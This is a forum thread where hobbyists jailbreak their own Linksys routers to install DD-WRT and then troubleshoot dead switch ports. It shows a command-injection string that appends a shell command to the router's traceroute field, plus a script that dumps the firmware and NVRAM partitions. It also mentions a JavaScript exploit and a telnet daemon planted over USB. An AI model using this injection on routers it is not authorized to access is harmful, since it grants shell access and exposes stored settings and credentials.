I think I understand the problem. It's because we're exploiting the traceroute command we end up with the router running this:

Code:
traceroute 192.168.1.1;cat /dev/mtd/1 > /tmp/memstick/host0_part1/test/firmware.trx > /tmp/tracert.txt


Which isn't what we want.

So let's make a script instead. Save this as dumpfw.sh on your memory stick:

Code:
#!/bin/sh
cat /dev/mtd/1 > /tmp/memstick/host0_part1/test/firmware.trx
cat /dev/mtd/3 > /tmp/memstick/host0_part1/test/nvram.bin


Give it execute permission:

Code:
chmod 755 /tmp/memstick/host0_part1/test/dumpfw.sh


And then run it on the router:

Code:
/tmp/memstick/host0_part1/test/dumpfw.sh


Wait a minute or so as the dumping process is slow.

After thinking about it a bit more, the chmod part probably isn't necessary (although it won't hurt).

All files on my memory stick have full read/write/execute permissions already.

attached is the result. Can you see if the dump is indeed complete?

The little javascript exploit worked perfectly.

I chose the route of installing that telnet daemon via usb key. Just find your path using the storage option on the actual linksys firmware. It will be something like host0_part1. Just substitute that into the command he gives.

I was actually about to give up on flashing it until I found that. It made things considerably easier.

Thanks to the poster, Transient. It worked perfectly, but now i'm in the same boat as several others with non-functional switchports. Hopefully a more recent firmware will fix it :D

Also the telnet thing works pretty well, and even responds with CRC OK and stuff whenever you update the firmware.

Well it's usefull if you want to return to the official Linksys firmware (and regain ethernet ports) since this version isn't posted on Linksys's website.

It would be nice if someone would post 1.01.36 build 3 though!

I'm glad to hear it helped! I'm embarassed to say that I spent about 4 hours trying to "fix" it until I realized the problem was simply that every command must end with a ; Embarassed

Once I got to the console it was all smooth for me Very Happy.

Took like 5-10 minutes once in ddwrt!

I kept thinking I did it when I would try the other approaches. Watch the progress bar for 5 minutes. Reboot. Still build 5 lol hah. I'm sure I was just fat-fingering it someplace .. but console ftw.

I'd say your way is by far the simplest approach. There's almost no trial and error and you get responses.

Once I figure out what's up with the switchports I feel things will be much better ^_^.

Good news! I was able to successfully extract your "build 5" firmware trx using firmware_mod_kit.

I spent some time on this yesterday but I didn't make much progress. The router is seeing traffic on the switch ports, but it's not being handled. It doesn't feel like a driver issue, though...

Glad to be of help to all who were stuck with dd-wrt and no LAN ports. I will wait with my own experiments until the bug is fixed.

alankligman, I'll be home in a little bit to test it more.

I recall there being link lights. I agree about it not being a driver issue, especially if there is data. It *seems* like you wouldn't even get any kind of link without functional drivers. I don't know much about drivers and DDWRT though :/

We'll just have to see!

Perhaps it's the vlan port bindings? I'd try playing with vlan0ports and vlan1ports. On mine CPU is port 8, maybe on yours (and others with non-functional ports) it is different.

My router is showing "vlan0ports=1 2 3 4 8*" and "vlan2ports=0 8*". No value for vlan1ports is set.
